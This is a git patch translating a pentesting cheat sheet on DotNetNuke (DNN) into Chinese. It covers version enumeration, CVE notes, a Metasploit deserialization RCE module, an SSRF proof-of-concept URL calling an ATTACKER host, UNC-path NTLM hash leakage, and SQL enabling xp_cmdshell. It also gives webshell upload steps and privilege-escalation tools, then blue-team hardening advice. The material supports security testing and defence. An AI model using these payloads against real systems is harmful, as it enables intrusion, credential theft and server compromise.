From a67634ead095f8d0e1a75d394ad268a37d0efb22 Mon Sep 17 00:00:00 2001 From: Translator Date: Sat, 19 Jul 2025 08:09:28 +0000 Subject: [PATCH] Translated ['src/network-services-pentesting/pentesting-web/dotnetnuke-d --- .../pentesting-web/dotnetnuke-dnn.md | 99 +++++++++++++++---- 1 file changed, 78 insertions(+), 21 deletions(-) diff --git a/src/network-services-pentesting/pentesting-web/dotnetnuke-dnn.md b/src/network-services-pentesting/pentesting-web/dotnetnuke-dnn.md index 4e0094602..091a7e6d7 100644 --- a/src/network-services-pentesting/pentesting-web/dotnetnuke-dnn.md +++ b/src/network-services-pentesting/pentesting-web/dotnetnuke-dnn.md @@ -4,37 +4,94 @@ ## DotNetNuke (DNN) -如果您以 **administrator** 身份登录 DNN,获取 RCE 非常简单。 +如果您以 **administrator** 身份登录 DNN,获取 **RCE** 很容易,但在过去几年中发布了一些 *unauthenticated* 和 *post-auth* 技术。以下备忘单收集了用于攻防工作的最有用原语。 -## RCE +--- +## 版本和环境枚举 -### 通过 SQL +* 检查 *X-DNN* HTTP 响应头 - 通常会披露确切的平台版本。 +* 安装向导在 `/Install/Install.aspx?mode=install` 中泄露版本(在非常旧的安装中可访问)。 +* `/API/PersonaBar/GetStatus` (9.x) 返回一个 JSON blob,包含低权限用户的 `"dnnVersion"`。 +* 您将在实时实例中看到的典型 cookie: +* `.DOTNETNUKE` – ASP.NET 表单身份验证票证。 +* `DNNPersonalization` – 包含 XML/序列化的用户配置文件数据(旧版本 - 见下文 RCE)。 -在 **`Settings`** 页面下可以访问 SQL 控制台,您可以启用 **`xp_cmdshell`** 并 **运行操作系统命令**。 +--- +## 未经身份验证的利用 -使用以下行来启用 **`xp_cmdshell`**: -```sql -EXEC sp_configure 'show advanced options', '1' -RECONFIGURE -EXEC sp_configure 'xp_cmdshell', '1' -RECONFIGURE +### 1. Cookie 反序列化 RCE (CVE-2017-9822 & 后续) +*受影响版本 ≤ 9.3.0-RC* + +`DNNPersonalization` 在启用内置 404 处理程序时在每个请求中被反序列化。因此,精心制作的 XML 可能导致任意小工具链和代码执行。 ``` -然后,按 **"Run Script"** 运行该 SQL 语句。 - -接着,使用以下内容运行操作系统命令: -```sql -xp_cmdshell 'whoami' +msf> use exploit/windows/http/dnn_cookie_deserialization_rce +msf> set RHOSTS +msf> set LHOST +msf> run ``` -### 通过 ASP webshell +该模块自动选择适用于已修补但仍然易受攻击的版本的正确路径(CVE-2018-15811/15812/18325/18326)。在7.x–9.1.x上,利用攻击**无需身份验证**,在9.2.x+上则需要一个*经过验证*的低权限账户。 -在 `Settings -> Security -> More -> More Security Settings` 中,您可以在 `Allowable File Extensions` 下 **添加新的允许扩展名**,然后点击 `Save` 按钮。 +### 2. 服务器端请求伪造 (CVE-2025-32372) +*受影响版本 < 9.13.8 – 补丁于2025年4月发布* -添加 **`asp`** 或 **`aspx`**,然后在 **`/admin/file-management`** 上传一个名为 `shell.asp` 的 **asp webshell**。 +旧版`DnnImageHandler`修复的绕过使攻击者能够强迫服务器发出**任意GET请求**(半盲SSRF)。实际影响: -然后访问 **`/Portals/0/shell.asp`** 以访问您的 webshell。 +* 内部端口扫描/云部署中的元数据服务发现。 +* 访问其他被防火墙保护的主机。 -### 权限提升 +概念验证(替换`TARGET`和`ATTACKER`): +``` +https://TARGET/API/RemoteContentProxy?url=http://ATTACKER:8080/poc +``` +请求在后台触发;监控您的监听器以获取回调。 -您可以使用 **Potatoes** 或 **PrintSpoofer** 例如 **提升权限**。 +### 3. NTLM 哈希暴露通过 UNC 重定向 (CVE-2025-52488) +*受影响版本 6.0.0 – 9.x (< 10.0.1)* +特别构造的内容可以使 DNN 尝试使用 **UNC 路径** 获取资源,例如 `\\attacker\share\img.png`。 Windows 将乐于进行 NTLM 协商,将服务器账户哈希泄露给攻击者。 升级到 **10.0.1** 或在防火墙上禁用出站 SMB。 + +### 4. IP 过滤器绕过 (CVE-2025-52487) +如果管理员依赖 *Host/IP 过滤器* 保护管理门户,请注意 **10.0.1** 之前的版本可以通过在反向代理场景中操纵 `X-Forwarded-For` 来绕过。 + +--- +## 认证后到 RCE + +### 通过 SQL 控制台 +在 **`Settings → SQL`** 下,内置查询窗口允许对站点数据库执行操作。 在 Microsoft SQL Server 上,您可以启用 **`xp_cmdshell`** 并生成命令: +```sql +EXEC sp_configure 'show advanced options', 1; +RECONFIGURE; +EXEC sp_configure 'xp_cmdshell', 1; +RECONFIGURE; +GO +xp_cmdshell 'whoami'; +``` +### 通过ASPX Webshell上传 +1. 转到 **`Settings → Security → More → More Security Settings`**。 +2. 将 `aspx`(或 `asp`)附加到 **Allowable File Extensions** 并 **保存**。 +3. 浏览到 **`/admin/file-management`** 并上传 `shell.aspx`。 +4. 在 **`/Portals/0/shell.aspx`** 触发它。 + +--- +## Windows上的权限提升 +一旦以 **IIS AppPool\** 实现代码执行,常见的Windows权限提升技术适用。如果该系统存在漏洞,您可以利用: + +* **PrintSpoofer** / **SpoolFool** 来滥用 *SeImpersonatePrivilege*。 +* **Juicy/Sharp Potatoes** 来逃避 *Service Accounts*。 + +--- +## 加固建议(蓝队) + +* **升级** 至至少 **9.13.9**(修复SSRF绕过)或更好地 **10.0.1**(IP过滤和NTLM问题)。 +* 安装后删除残留的 **`InstallWizard.aspx*`** 文件。 +* 禁用出站SMB(端口445/139)流量。 +* 在边缘代理上强制实施强大的 *Host Filters*,而不是在DNN内部。 +* 如果未使用,阻止对 `/API/RemoteContentProxy` 的访问。 + + + +## 参考文献 + +* Metasploit `dnn_cookie_deserialization_rce` 模块文档 – 实用的未认证RCE细节(GitHub)。 +* GitHub安全公告 GHSA-3f7v-qx94-666m – 2025 SSRF绕过和补丁信息。 {{#include ../../banners/hacktricks-training.md}}